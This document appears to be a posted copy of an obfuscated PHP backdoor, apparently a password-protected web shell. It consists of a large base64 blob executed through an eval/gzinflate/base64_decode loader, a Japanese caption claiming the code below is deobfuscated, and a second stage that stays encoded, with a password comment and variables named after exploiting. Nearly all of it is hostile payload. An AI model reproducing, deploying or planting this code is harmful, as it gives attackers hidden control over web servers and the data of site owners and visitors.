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";
eval(htmlspecialchars_decode(gzinflate(base64_decode($UeXploiT))));
exit;
?>

デコード(難読化解除)されたコード

<?php

/* password  :  katib */
$UeXploiT = "Sy1LzNFQt1dLL7FW10uvKs1Lzs8tKEotLtZIr8rMS8tJLEnVSEosTjUziU9JTc5PSdUoLikqSi3TUHHMM8iLN64IyMnPDEkN0gQBawA=";
$An0n_3xPloiTeR = "=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